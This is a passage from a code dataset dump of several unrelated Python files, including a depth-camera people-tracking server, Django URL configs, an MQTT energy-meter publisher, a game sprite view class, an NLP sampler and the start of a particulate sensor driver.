np.zeros(len(boxes), dtype=dict)\n for i in range(len(boxes)):\n x_left, y_top, x_right, y_bottom = boxes[i]\n depth_box = depth_frame[y_top:y_bottom, x_left:x_right]\n mask_box = masks[i][y_top:y_bottom, x_left:x_right]\n depth_box = depth_box[mask_box]\n boxes_of_frame[i] = dict(box=boxes[i], depth_box=depth_box)\n\n return boxes_of_frame\n\n\ndef clear_database():\n cursor = database_connect.cursor()\n cursor.execute('TRUNCATE tracking.track_now;')\n cursor.close()\n database_connect.commit()\n\n\ndef write_points_to_database(x, y, id_person):\n cursor = database_connect.cursor()\n cursor.execute(\"INSERT INTO tracking.track_now VALUES ({:f}, {:f}, '{:s}')\"\n .format(x, y, str(uuid.UUID(int=id_person))))\n cursor.close()\n database_connect.commit()\n\n\ndef checking_for_tables_in_db():\n cursor = database_connect.cursor()\n cursor.execute(\"SELECT EXISTS (SELECT FROM information_schema.schemata \"\n \"WHERE schema_name = 'tracking');\")\n if not cursor.fetchone()[0]:\n cursor.execute(\"CREATE SCHEMA tracking;\")\n\n cursor.execute(\"SELECT EXISTS (SELECT FROM information_schema.tables \"\n \"WHERE table_schema = 'tracking' AND table_name = 'track_now');\")\n if not cursor.fetchone()[0]:\n cursor.execute(\"create table tracking.track_now (x real, y real, uuid uuid);\")\n\n cursor.close()\n database_connect.commit()\n\n\ndef get_coordinates(boxes_depth_frame, width):\n coordinates = []\n for box in boxes_depth_frame:\n x_left, y_top, x_right, y_bottom = box['box']\n distance = np.mean(np.mean(box['depth_box']))\n dist_sin_ang = distance * np.sin(np.deg2rad(camera_angle))\n # dist_sin_ang = np.sqrt(np.abs(distance * distance - 2.7 * 2.7)) * np.sin(np.deg2rad(camera_angle))\n # dist_sin_ang = distance\n\n angle_alpha = 90 / width * (np.mean((x_right, x_left)) - width // 2)\n x = np.cos(np.deg2rad(angle_alpha)) * dist_sin_ang\n y = np.sin(np.deg2rad(angle_alpha)) * dist_sin_ang\n\n coordinates.append([x, y])\n return np.array(coordinates, dtype=np.float)\n\n\ndef draw_tracking(coords=None, ids=None):\n if coords is None:\n figure = go.Figure()\n else:\n # Fig for the coordinates of a person's location\n figure = go.Figure(data=[\n go.Scatter(\n x=coords[::, 1],\n y=coords[::, 0],\n mode='markers',\n marker=dict(size=25, color=list(ids))\n )\n ])\n figure.update_xaxes(range=fig_xlim)\n figure.update_yaxes(range=fig_ylim)\n figure.update_layout(title_text=\"People coordinates\", height=720, width=720, showlegend=False)\n\n return figure\n\n\ndef get_im(fig):\n buf = io.BytesIO()\n pio.orca.config.server_url = \"http://localhost:9091\"\n pio.orca.config.use_xvfb = False\n pio.write_image(fig, buf)\n img = Image.open(buf)\n return np.array(img)\n\n\ndef processing(msg):\n msg_data = msg['data'].split()\n\n pipe.get(msg_data[0])\n pipe.get(msg_data[1])\n pipe.get(msg_data[-4])\n pipe.get(msg_data[-3])\n pipe.get(msg_data[-2])\n pipe.get(msg_data[-1])\n pipe.get(msg_data[3])\n\n color, depth, boxes, masks, track_bbs_ids, reid_result, depth_scale = pipe.execute()\n boxes = np.frombuffer(boxes, dtype=np.int64)\n # color = np.frombuffer(color[16:], dtype=np.uint8).reshape(struct.unpack('>III', color[4:16]))[:, :, ::-1]\n\n global fig\n pipe.delete('coordinates')\n if boxes.size == 0:\n clear_database()\n #fig = draw_tracking()\n # vis.plotlyplot(fig, win='Plot')\n else:\n track_bbs_ids = np.frombuffer(track_bbs_ids, dtype=np.int64)\n if track_bbs_ids.size != 0:\n track_bbs_ids = list(track_bbs_ids.reshape(len(track_bbs_ids) // 5, 5))\n\n boxes = boxes.reshape(len(boxes) // 4, 4)\n\n if len(track_bbs_ids) == len(boxes):\n depth = np.frombuffer(depth[12:], dtype=np.uint16).reshape(struct.unpack('>II', depth[4:12]))\n masks = np.frombuffer(masks[16:], dtype=np.bool).reshape(struct.unpack('>III', masks[4:16]))\n reid_result = np.frombuffer(reid_result, dtype=np.int32)\n\n depth = depth * float(depth_scale)\n\n boxes_depth_frame = get_boxes_out_of_depth_frame(depth, boxes, masks)\n coordinates = get_coordinates(boxes_depth_frame, depth.shape[1])\n pipe.set('coordinates', coordinates.tostring())\n\n clear_database()\n #fig = draw_tracking(coordinates, reid_result)\n\n for coord, id_person in zip(coordinates, reid_result):\n x, y = coord\n if not np.isnan(x) and not np.isnan(y):\n write_points_to_database(y, x, id_person)\n\n pipe.execute()\n\n # print(coordinates)\n #im = np.hstack((color, get_im(fig)[:, :, :3]))\n #cv2.imshow('frame', im[:, :, ::-1])\n #if cv2.waitKey(1) & 0xFF == ord('q'):\n # return\n\n # print('\\rTime: {}'.format(time.time() - start), end='')\n\n r.publish('cam-data-server', 'done')\n\n\nif __name__ == '__main__':\n checking_for_tables_in_db()\n p.subscribe(**{'data-processing-server': processing})\n thread = p.run_in_thread(sleep_time=0.00001)\n thread.join()\n","sub_path":"Modules/data_processing/local_server.py","file_name":"local_server.py","file_ext":"py","file_size_in_byte":5738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"530358075","text":"from django.urls import path\nfrom . import views\n\napp_name = 'music'\n\nurlpatterns = [\n path('', views.AlbumListView.as_view(), name='home'),\n # /youtube\n path('youtube/', views.redirect_to_youtube, name='redirect_to_youtube'),\n\n path('/', views.AlbumDetailView.as_view(), name='album_detail')\n]\n","sub_path":"webapp/music/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"263289697","text":"from django.contrib import admin\nfrom django.urls import path\nfrom rootApp import views\n\nurlpatterns = [\n path(\"\", views.index, name='Home'),\n path(\"about\", views.about, name='About'),\n path(\"freeboardproject\", views.freeboardproject, name='Freeboard Project'),\n path(\"decisionmakingmap\", views.decisionmakingmap, name='Decision Making Map'),\n path(\"survey\", views.survey, name='Survey'),\n path(\"helpcenter\", views.helpcenter, name='Help Center')\n ]\n","sub_path":"wwwroot/rootProject/rootApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"335299550","text":"import configparser\nimport logging\nimport json\n\nfrom django.core import serializers\nfrom django.utils import timezone\nimport paho.mqtt.publish as publish\n\nfrom dsmr_mqtt.models.settings import broker, day_totals, telegram, meter_statistics\nfrom dsmr_consumption.models.consumption import ElectricityConsumption\nfrom dsmr_datalogger.models.statistics import MeterStatistics\nimport dsmr_consumption.services\n\n\nlogger = logging.getLogger('dsmrreader')\n\n\ndef get_broker_configuration():\n \"\"\" Returns the broker configuration from the settings, in dict format, ready to use with paho.mqtt. \"\"\"\n broker_settings = broker.MQTTBrokerSettings.get_solo()\n\n kwargs = {\n 'hostname': broker_settings.hostname,\n 'port': broker_settings.port,\n 'client_id': broker_settings.client_id,\n 'auth': None,\n }\n\n if broker_settings.username and broker_settings.password:\n kwargs.update({\n 'auth': {\n 'username': broker_settings.username,\n 'password': broker_settings.password,\n }\n })\n\n return kwargs\n\n\ndef publish_raw_dsmr_telegram(data):\n \"\"\" Publishes a raw DSMR telegram string to a broker, if set and enabled. \"\"\"\n raw_settings = telegram.RawTelegramMQTTSettings.get_solo()\n\n if not raw_settings.enabled:\n return\n\n broker_kwargs = get_broker_configuration()\n\n try:\n publish.single(topic=raw_settings.topic, payload=data, **broker_kwargs)\n except ValueError as error:\n logger.error('MQTT publish_raw_dsmr_telegram() | {}'.format(error))\n\n\ndef publish_json_dsmr_reading(reading):\n \"\"\" Publishes a JSON formatted DSMR reading to a broker, if set and enabled. \"\"\"\n json_settings = telegram.JSONTelegramMQTTSettings.get_solo()\n\n if not json_settings.enabled:\n return\n\n # User specified formatting.\n config_parser = configparser.ConfigParser()\n config_parser.read_string(json_settings.formatting)\n json_mapping = config_parser['mapping']\n\n json_dict = {}\n\n # Copy all fields described in the mapping.\n for k, v in reading.__dict__.items():\n if k not in json_mapping:\n continue\n\n config_key = json_mapping[k]\n json_dict[config_key] = v\n\n json_reading = json.dumps(json_dict, cls=serializers.json.DjangoJSONEncoder)\n broker_kwargs = get_broker_configuration()\n\n try:\n publish.single(topic=json_settings.topic, payload=json_reading, **broker_kwargs)\n except ValueError as error:\n logger.error('MQTT publish_json_dsmr_reading() | {}'.format(error))\n\n\ndef publish_split_topic_dsmr_reading(reading):\n \"\"\" Publishes a DSMR reading to a broker, formatted in a separate topic per field name, if set and enabled. \"\"\"\n split_topic_settings = telegram.SplitTopicTelegramMQTTSettings.get_solo()\n\n if not split_topic_settings.enabled:\n return\n\n # User specified formatting.\n config_parser = configparser.ConfigParser()\n config_parser.read_string(split_topic_settings.formatting)\n topic_mapping = config_parser['mapping']\n\n mqtt_messages = []\n serialized_reading = json.loads(serializers.serialize('json', [reading]))\n reading_fields = dict(serialized_reading[0]['fields'].items())\n reading_fields['id'] = serialized_reading[0]['pk']\n\n # Copy all fields described in the mapping.\n for k, v in reading_fields.items():\n if k not in topic_mapping:\n continue\n\n mqtt_messages.append({\n 'topic': topic_mapping[k],\n 'payload': v,\n })\n\n broker_kwargs = get_broker_configuration()\n\n try:\n publish.multiple(msgs=mqtt_messages, **broker_kwargs)\n except ValueError as error:\n logger.error('MQTT publish_split_topic_dsmr_reading() | {}'.format(error))\n\n\ndef publish_day_totals():\n \"\"\" Publishes day totals to a broker, if set and enabled. \"\"\"\n json_settings = day_totals.JSONDayTotalsMQTTSettings.get_solo()\n split_topic_settings = day_totals.SplitTopicDayTotalsMQTTSettings.get_solo()\n\n if not json_settings.enabled and not split_topic_settings.enabled:\n return\n\n try:\n latest_electricity = ElectricityConsumption.objects.all().order_by('-read_at')[0]\n except IndexError:\n # Don't even bother when no data available.\n return\n\n day_consumption = dsmr_consumption.services.day_consumption(\n day=timezone.localtime(latest_electricity.read_at).date()\n )\n\n mqtt_messages = []\n\n if json_settings.enabled:\n mqtt_messages += day_totals_as_json(day_consumption, json_settings)\n\n if split_topic_settings.enabled:\n mqtt_messages += day_totals_per_topic(day_consumption, split_topic_settings)\n\n broker_kwargs = get_broker_configuration()\n\n try:\n publish.multiple(msgs=mqtt_messages, **broker_kwargs)\n except ValueError as error:\n logger.error('MQTT publish_day_totals() | {}'.format(error))\n\n\ndef day_totals_as_json(day_consumption, json_settings):\n \"\"\" Converts day consumption to JSON format. \"\"\"\n config_parser = configparser.ConfigParser()\n config_parser.read_string(json_settings.formatting)\n json_mapping = config_parser['mapping']\n json_dict = {}\n\n # Use mapping to setup fields for JSON message.\n for k, v in day_consumption.items():\n if k not in json_mapping:\n continue\n\n config_key = json_mapping[k]\n json_dict[config_key] = v\n\n json_data = json.dumps(json_dict, cls=serializers.json.DjangoJSONEncoder)\n\n return [{\n 'topic': json_settings.topic,\n 'payload': json_data,\n }]\n\n\ndef day_totals_per_topic(day_consumption, split_topic_settings):\n \"\"\" Converts day consumption to split topic messages. \"\"\"\n config_parser = configparser.ConfigParser()\n config_parser.read_string(split_topic_settings.formatting)\n topic_mapping = config_parser['mapping']\n\n mqtt_messages = []\n\n # Use mapping to setup fields for each message/topic.\n for k, v in day_consumption.items():\n if k not in topic_mapping:\n continue\n\n mqtt_messages.append({\n 'topic': topic_mapping[k],\n 'payload': str(v),\n })\n\n return mqtt_messages\n\n\ndef publish_split_topic_meter_statistics():\n \"\"\" Publishes meter statistics to a broker, formatted in a separate topic per field name, if set and enabled. \"\"\"\n split_topic_settings = meter_statistics.SplitTopicMeterStatisticsMQTTSettings.get_solo()\n\n if not split_topic_settings.enabled:\n return\n\n # User specified formatting.\n config_parser = configparser.ConfigParser()\n config_parser.read_string(split_topic_settings.formatting)\n topic_mapping = config_parser['mapping']\n\n mqtt_messages = []\n serialized_reading = json.loads(serializers.serialize('json', [MeterStatistics.get_solo()]))\n reading_fields = dict(serialized_reading[0]['fields'].items())\n reading_fields['id'] = serialized_reading[0]['pk']\n\n # Copy all fields described in the mapping.\n for k, v in reading_fields.items():\n if k not in topic_mapping:\n continue\n\n mqtt_messages.append({\n 'topic': topic_mapping[k],\n 'payload': v,\n })\n\n broker_kwargs = get_broker_configuration()\n\n try:\n publish.multiple(msgs=mqtt_messages, **broker_kwargs)\n except ValueError as error:\n logger.error('MQTT publish_split_topic_meter_statistics() | {}'.format(error))\n","sub_path":"dsmr_mqtt/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":7411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"276114493","text":"from datetime import date\nfrom datas import *\n\n# Pythonnet import of dot net types\nfrom System import Double, DateTime, Array\nfrom PragmaticQuantModel.Basic.Structure import RawMapDatas, LabelledMatrix\nfrom PragmaticQuantModel.Markets.RawDatas import DiscountCurveDatas, AssetMarketDatas, RawMarket\nfrom PragmaticQuantModel.Markets import MarketUtils\nfrom PragmaticQuantModel.Markets import RawMarketInterpolation as mktinterpoler\nfrom PragmaticQuantModel.Pricing import MarketConfig, MarketConfigUtils\n\ndef volmatrix(**kwargs) :\n\tpillars = kwargs.get('pillars')\n\tstrikes = kwargs.get('strikes')\n\tvols = kwargs.get('vols')\n\t\n\tpillarsArray = Array[DateOrDuration]([date_or_duration(d) for d in pillars])\n\tstrikeArray = Array[Double](strikes)\n\tvolMatrix = double_array_conversion(vols)\n\treturn LabelledMatrix[DateOrDuration, Double, Double](pillarsArray, strikeArray, volMatrix)\n\t\ndef discountcurve(**kwargs) :\n discount = DiscountCurveDatas()\n discount.Currency = kwargs.get('currency')\n discount.ZcRates = rawcurve(kwargs.get('zcRates'))\n discount.Financing = kwargs.get('financing', 'ois') \n return discount\n\ndef assetmarket(**kwargs) :\n mkt = AssetMarketDatas()\n mkt.Name = kwargs.get('id')\n mkt.Currency = kwargs.get('currency') \n mkt.Spot = kwargs.get('spot') \n mkt.RepoCurve = rawcurve(kwargs.get('repoRates'))\n mkt.VolatilityMatrix = kwargs.get('volMatrix')\n \n fwd_divs = kwargs.get('forwarddivs', None)\n if not fwd_divs is None :\n divdates = [date_conversion(k) for (k,v) in fwd_divs.items()]\n fwds = [v for (k,v) in fwd_divs.items()]\n mkt.DividendForward = RawMapDatas[DateTime, Double](divdates, fwds) \n return mkt\n\ndef build_market_datas(**kwargs) :\n mkt = RawMarket()\n mkt.RefDate = date_conversion(kwargs.get('refDate'))\n\n mkt.DiscountCurves = List[DiscountCurveDatas]()\n discountCurves = kwargs.get('discountCurves', None)\n try : \n for curve in discountCurves : \n mkt.DiscountCurves.Add(curve)\n except TypeError : mkt.DiscountCurves.Add(discountCurves)\n except:\n raise\n mkt.Assets = List[AssetMarketDatas]()\n assetMarkets = kwargs.get('assetMarkets', None)\n try :\n for assetMkt in assetMarkets :\n mkt.Assets.Add(assetMkt)\n except TypeError : mkt.Assets.Add(assetMarkets)\n except:\n raise\n \n return mkt\n\ndef build_market_config(datas, scenarios = None) :\n config = MarketConfig()\n config.Market = datas\n config.MarketScenario = scenarios\n return config\n \ndef build_market(mktDatas) : \n try : return MarketConfigUtils.BuildMarket(mktDatas) \n except TypeError : return mktinterpoler.ToMarket(mktDatas)\n except: raise\n\n\n \nclass Market(object):\n \"\"\"Market : TODO DOC\n \"\"\" \n \n def __init__(self, mktDatas):\n self.dotnet_mkt = build_market(mktDatas)\n \n def __assetmarket(self, id):\n assetid = MarketUtils.AssetIdFromName(self.dotnet_mkt, id) \n return self.dotnet_mkt.AssetMarket(assetid)\n\n def __fwdcurve(self, id):\n return self.__assetmarket(id).ForwardCurve()\n \n def __volsurface(self, id):\n return self.__assetmarket(id).VolSurface()\n\n def refdate(self):\n return self.dotnet_mkt.RefDate\n\n def assetspot(self, assetid):\n return self.__assetmarket(assetid).Spot\n\n def assetforward(self, assetid, maturity):\t \n try :\n return self.__fwdcurve(assetid).Fwd(date_or_duration(maturity).ToDate(self.dotnet_mkt.RefDate)) \n except : \n return [self.__fwdcurve(assetid).Fwd(date_or_duration(m).ToDate(self.dotnet_mkt.RefDate)) for m in maturity]\n \n def assetvol(self, assetid, maturity, strike):\n mat_as_date = date_or_duration(maturity).ToDate(self.dotnet_mkt.RefDate)\n return self.__volsurface(assetid).Volatility(mat_as_date, strike)\n\n\n","sub_path":"src/python/pragmaticquant/market.py","file_name":"market.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"627517259","text":"from model.contact import Contact\nimport random\nimport string\n\n\ndef random_string(prefix, maxlen):\n symbols = string.ascii_letters + string.digits + \" \"*5\n return prefix + \"\".join([random.choice(symbols) for i in range(random.randrange(maxlen))])\n\n\ndef random_digits(maxlen):\n digits = string.digits\n return \"\".join([random.choice(digits) for i in range(maxlen)])\n\n\ntestdata = [Contact(first_name=random_string(\"firstname\", 15),\n last_name=random_string(\"lastname\", 15),\n company=random_string(\"company\", 20),\n address=random_string(\"address\", 20),\n mobile_phone=random_digits(10),\n email=random_string(\"email\", 20),\n birth_day=\"//div[@id='content']/form/select[1]//option[24]\",\n birth_month=\"//div[@id='content']/form/select[2]//option[10]\",\n birth_year=random_digits(4))]\n","sub_path":"data/add_contact.py","file_name":"add_contact.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"164354673","text":"# -*- coding: utf-8 -*- \n\nimport os\nimport pygame\nimport GG.utils\nimport animation\nimport positioned_view\nimport guiobjects\nimport isoview_player\n\n# ======================= CONSTANTS ===========================\nCOLOR_SHIFT = 80\nNEW_SIZE = [40, 40]\n# =============================================================\n\nclass IsoViewItem(positioned_view.PositionedView):\n \"\"\" IsoViewItem class.\n Defines an item view.\n \"\"\"\n \n def __init__(self, model, screen, room, parent, position=None, imagePath=None, imageName=None):\n \"\"\" Class constructor.\n model: isometric view model.\n screen: screen handler.\n room: item's isometric room object.\n parent: isoview_hud handler.\n position: isometric view's initial position. \n imagePath: item's image path.\n \"\"\"\n positioned_view.PositionedView.__init__(self, model, screen)\n self.__ivroom = room\n self.__parent = parent\n self.anchor = None\n self.topAnchor = None\n if position:\n self.__position = position\n self.__imagePath = imagePath\n self.__imageName = imageName\n else: \n infoPackage = model.getItemBuildPackage()\n self.__position = infoPackage[\"position\"]\n self.__imagePath = infoPackage[\"imagepath\"]\n self.__imageName = infoPackage[\"spriteName\"]\n self.__img = None\n if not isinstance(self, isoview_player.IsoViewPlayer):\n self.loadImage(self.__imagePath)\n \n def loadImage(self, imagePath=None):\n \"\"\" Loads the item's image.\n imagePath: item's image path.\n \"\"\"\n if imagePath is None:\n imagePath = self.getModel().getImagePath()\n if not self.__imageName: \n self.__imageName = self.getModel().getSpriteName()\n imageName = os.path.join(imagePath, self.__imageName) \n self.imgPath = GG.genteguada.GenteGuada.getInstance().getDataPath(imageName) \n self.anchor = guiobjects.getOffset(self.imgPath)\n self.topAnchor = guiobjects.getTopOffset(self.anchor, imageName)\n pos = self.__position\n scrPos = GG.utils.p3dToP2d(pos, self.anchor)\n zOrder = (pow(pos[0], 2) + pow(pos[1], 2))*10\n self.__img = guiobjects.getSprite(imageName, scrPos, zOrder)\n\n def loadAvatarImage(self, path, timestamp):\n \"\"\" Loads the item's image.\n imagePath: item's image path.\n \"\"\"\n image = \"standing_bottomright_0001\"\n if not timestamp == \"\":\n image += \"_\"+str(timestamp)\n imageName = os.path.join(path, image) \n self.imgPath = GG.genteguada.GenteGuada.getInstance().getDataPath(imageName) \n pos = self.__position\n scrPos = GG.utils.p3dToP2d(pos, self.anchor)\n zOrder = (pow(pos[0], 2) + pow(pos[1], 2))*10\n self.__img = guiobjects.getSprite(imageName, scrPos, zOrder)\n\n def getPosition(self):\n \"\"\" Returns the item's position on the room.\n \"\"\" \n return self.__position\n \n def updateZOrder(self, value=None):\n \"\"\" Updates the zOrder value, used to properly order sprites for painting.\n value: zOrder value.\n \"\"\" \n if value == None:\n pos = self.__position\n self.__img.zOrder = (pow(pos[0], 2) + pow(pos[1], 2))*10\n else:\n self.__img.zOrder = value\n \n def updateZOrderFor(self, pos):\n \"\"\" Updates the zOrder value, used to properly order sprites for painting.\n value: zOrder value.\n \"\"\" \n self.__img.zOrder = (pow(pos[0], 2) + pow(pos[1], 2))*10\n \n def getZOrder(self):\n \"\"\" Returns the zOrder value of item's image.\n \"\"\" \n return self.__img.zOrder\n \n def getParent(self):\n \"\"\" Returns the isoview hud handler.\n \"\"\"\n return self.__parent\n \n def getIVRoom(self):\n \"\"\" Returns the isometric view room object.\n \"\"\"\n return self.__ivroom\n \n def setIVRoom(self, ivroom):\n \"\"\" Sets a new isoview room for the item.\n ivroom: new isoview room.\n \"\"\"\n self.__ivroom = ivroom\n \n def getImg(self):\n \"\"\" Returns the item's image.\n \"\"\"\n return self.__img \n \n def setImg(self, img, path=None):\n \"\"\" Sets a new image for the player.\n img: image name.\n path: image path.\n \"\"\"\n if path:\n imageName = os.path.join(path, img)\n else:\n imageName = os.path.join(self.getModel().getImagePath(), img)\n imgPath = GG.genteguada.GenteGuada.getInstance().getDataPath(imageName)\n if imgPath == GG.utils.IMG_ERROR:\n return None\n self.__img.image = pygame.image.load(imgPath).convert_alpha()\n self.__img.dirty = 1\n \n def setSprite(self, sprite):\n \"\"\" Sets a new sprite for the item\n sprite: new sprite.\n \"\"\"\n self.__img.image = sprite\n self.__img.dirty = 1\n \n def setRect(self, rect):\n \"\"\" Sets a new rect for the item image.\n rect: new rect.\n \"\"\"\n self.__img.rect = rect\n \n def selected(self):\n \"\"\" Changes the item's color and sets it as selected.\n \"\"\"\n size = self.__img.rect\n color2 = [0, 0, 0]\n for x in range(0, size[2]):\n for y in range(0, size[3]):\n color = self.__img.image.get_at((x, y))\n if color[3] != 0:\n color2[0] = color[0] + COLOR_SHIFT\n if color2[0] > 255: \n color2[0] = 255\n color2[1] = color[1] + COLOR_SHIFT\n if color2[1] > 255: \n color2[1] = 255\n color2[2] = color[2] + COLOR_SHIFT\n if color2[2] > 255: \n color2[2] = 255\n self.__img.image.set_at((x, y), color2)\n \n def unselected(self):\n \"\"\" Restores the item's color and sets it as unselected.\n \"\"\"\n imageName = os.path.join(self.__imagePath, self.__imageName)\n imgPath = GG.genteguada.GenteGuada.getInstance().getDataPath(imageName)\n self.__img.image = pygame.image.load(imgPath).convert_alpha()\n \n def getScreenPosition(self):\n \"\"\" Returns the item's screen position.\n \"\"\" \n return self.__img.rect.topleft\n \n def setScreenPosition(self, pos):\n \"\"\" Sets a new screen position for the item.\n pos: new screen position.\n \"\"\" \n self.__img.rect.topleft = pos\n \n def updateScreenPosition(self, height):\n \"\"\" Updates the item's screen position.\n height: added height.\n \"\"\" \n pos = self.getScreenPosition()\n self.setScreenPosition([pos[0], pos[1] - height])\n \n def checkClickPosition(self, pos):\n \"\"\" Checks if the user clicked on the item's image.\n pos: click position.\n \"\"\" \n rect = self.getImg().rect\n if rect[0] < pos[0] < (rect[0] + rect[2]):\n if rect[1] < pos[1] < (rect[1] + rect[3]):\n if self.getImg().image.get_at((pos[0] - rect[0], pos[1] - rect[1]))[3] != 0:\n return 1\n return 0\n \n def setPosition(self, pos):\n \"\"\" Stores a local copy for item's position.\n pos: item's position.\n \"\"\" \n self.__position = pos \n \n def positionChanged(self, event):\n \"\"\" Updates the item position and draws the room after receiving a position change event.\n event: even info.\n \"\"\"\n self.__position = event.getParams()['position']\n oldPos = event.getParams()['oldPosition']\n itemList = event.getParams()['itemList']\n destination = self.__ivroom.getFutureScreenPosition(self, self.__position, itemList)\n positionAnim = animation.ScreenPositionAnimation(GG.utils.ANIM_WALKING_TIME, self, self.__img.rect.topleft, destination)\n if self.__parent.getSound():\n guiobjects.playSound(GG.utils.SOUND_STEPS01)\n self.setAnimation(positionAnim)\n \n def startPositionChanged(self, event):\n \"\"\" Updates the item position without animation and draws the room after receiving a position change event.\n event: even info.\n \"\"\"\n self.__position = event.getParams()['position']\n self.setPositionAnimation(None)\n self.setImgPosition(GG.utils.p3dToP2d(event.getParams()['position'], self.anchor))\n \n def stopFallingAndRestore(self):\n \"\"\" DO NOT delete\n \"\"\"\n pass \n\n def isPlayer(self):\n \"\"\" Checks if this item is a player or not.\n \"\"\"\n return False \n\n# =============================================================\n\nclass IsoViewResizedItem(IsoViewItem):\n \"\"\" IsoViewResizedItem class.\n Defines an item view.\n \"\"\"\n \n def __init__(self, model, screen, room, parent, position=None, image=None):\n \"\"\" Class constructor.\n model: isometric view model.\n screen: screen handler.\n room: item's isometric room object.\n parent: isoview_hud handler.\n position: isometric view's initial position. \n imagePath: item's image path.\n \"\"\"\n if image:\n imgPath = GG.genteguada.GenteGuada.getInstance().getDataPath(os.path.join(model.getImagePath(), model.getSpriteName()))\n tempFileName = model.getSpriteName().replace(os.sep, \"-\")\n guiobjects.generateImageSize(imgPath, NEW_SIZE, os.path.join(GG.utils.LOCAL_DATA_PATH,tempFileName))\n IsoViewItem.__init__(self, model, screen, room, parent)\n \n","sub_path":"genteguada-main/upstream/GG/isoview/isoview_item.py","file_name":"isoview_item.py","file_ext":"py","file_size_in_byte":8702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"313835310","text":"# coding: utf-8\n\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\"\"\"Candidate samplers\"\"\"\n\n__all__ = ['CandidateSampler', 'UnigramCandidateSampler']\n\nimport mxnet as mx\nimport numpy as np\n\n\nclass CandidateSampler(object):\n \"\"\"Abstract Candidate Sampler\n\n After initializing one of the concrete candidate sample implementations,\n generate samples by calling the resulting object.\n\n \"\"\"\n\n def __call__(self):\n raise NotImplementedError\n\n\nclass UnigramCandidateSampler(CandidateSampler):\n \"\"\"Unigram Candidate Sampler\n\n Parameters\n ----------\n weights : mx.nd.NDArray\n Unnormalized class probabilities.\n\n \"\"\"\n\n def __init__(self, weights):\n self.N = weights.size\n total_weights = weights.sum()\n self.prob = (weights * self.N / total_weights).asnumpy().tolist()\n self.alias = [0] * self.N\n\n # sort the data into the outcomes with probabilities\n # that are high and low than 1/N.\n low = []\n high = []\n for i in range(self.N):\n if self.prob[i] < 1.0:\n low.append(i)\n else:\n high.append(i)\n\n # pair low with high\n while len(low) > 0 and len(high) > 0:\n l = low.pop()\n h = high.pop()\n\n self.alias[l] = h\n self.prob[h] = self.prob[h] - (1.0 - self.prob[l])\n\n if self.prob[h] < 1.0:\n low.append(h)\n else:\n high.append(h)\n\n for i in low + high:\n self.prob[i] = 1\n self.alias[i] = i\n\n # convert to ndarrays\n self.prob = mx.nd.array(self.prob)\n self.alias = mx.nd.array(self.alias)\n\n def __call__(self, k):\n \"\"\"Draw k samples from the distribution.\"\"\"\n idx = mx.nd.array(np.random.randint(0, self.N, size=k))\n prob = self.prob[idx]\n alias = self.alias[idx]\n where = mx.nd.random.uniform(shape=k) < prob\n hit = idx * where\n alt = alias * (1 - where)\n return hit + alt\n","sub_path":"gluonnlp/data/candidate_sampler.py","file_name":"candidate_sampler.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"418411831","text":"\"\"\" Used to load pre-captured videos with opencv \"\"\"\nfrom typing import Generator, Union\n\nimport cv2\nimport numpy as np\n\n\nclass OpenCVVideoCapture:\n def __init__(\n self,\n video_path: Union[str, None] = None,\n live: bool = False,\n camera: int = 0\n ):\n self._video_path = video_path\n self._live = live\n self._camera = camera\n self._capture = self.bootstrap_capture()\n # self._capture.set(3, 640)\n # self._capture.set(4, 480)\n\n def bootstrap_capture(self) -> cv2.VideoCapture:\n if self._live:\n return cv2.VideoCapture(self._camera)\n else:\n return cv2.VideoCapture(self._video_path)\n\n def frames(self) -> Generator[np.ndarray, None, None]:\n while(self._capture.isOpened()):\n\t\n ret, cv2_im = self._capture.read()\n if ret is True and cv2_im.any():\n yield cv2.cvtColor(cv2_im, cv2.COLOR_BGR2RGB)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n else:\n break\n self._capture.release()\n cv2.destroyAllWindows()\n","sub_path":"app/opencv_video_capture.py","file_name":"opencv_video_capture.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"254564324","text":"\"\"\"\nCreated on 15 Nov 2018\n\n@author: Bruno Beloff (bruno.beloff@southcoastscience.com)\n\nFirmware report:\nOPC-N3 Iss1.1 FirmwareVer=1.17a...........................BS\n\"\"\"\n\nimport time\n\nfrom scs_dfe.particulate.alphasense_opc import AlphasenseOPC\n\nfrom scs_dfe.particulate.opc_n3.opc_firmware_conf import OPCFirmwareConf\nfrom scs_dfe.particulate.opc_n3.opc_n3_datum import OPCN3Datum\nfrom scs_dfe.particulate.opc_n3.opc_status import OPCStatus\n\n\n# --------------------------------------------------------------------------------------------------------------------\n\nclass OPCN3(AlphasenseOPC):\n \"\"\"\n classdocs\n \"\"\"\n MIN_SAMPLE_PERIOD = 5.0 # seconds\n MAX_SAMPLE_PERIOD = 10.0 # seconds\n DEFAULT_SAMPLE_PERIOD = 10.0 # seconds\n\n DEFAULT_BUSY_TIMEOUT = 5.0 # seconds\n\n # 